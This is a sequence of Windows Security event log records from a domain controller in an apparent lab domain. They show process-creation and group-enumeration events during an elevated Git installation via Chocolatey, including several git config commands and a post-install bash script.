	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=User Account Management
OpCode=Info
RecordNumber=246149
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725

Process Information:
	Process ID:		0xfc8
	Process Name:		C:\Program Files\Git\usr\bin\bash.exe
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246148
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Program Files\Git\usr\bin\bash.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	usr\bin\bash.exe  --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246147
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ver

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246146
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246145
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /C ""C:\Program Files\Git\post-install.bat" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\post-install.log""

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246144
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe30
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe5c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "init.defaultBranch" "master" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246143
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe5c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246142
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "init.defaultBranch" "master" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246141
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d4
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "core.symlinks" "false" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246140
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x36c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246139
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.symlinks" "false" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246138
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e4
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x628
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "core.fscache" "true" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246137
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x660
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x628
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246136
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x628
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "core.fscache" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "credential.https://dev.azure.com.useHttpPath" "true" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246134
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246133
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "credential.https://dev.azure.com.useHttpPath" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246132
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb54
	New Process Name:	C:\Program Files\Git\mingw64\bin\git.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	.\mingw64\bin\git.exe  config --system "credential.helper" "manager-core" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246131
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246130
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "credential.helper" "manager-core" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

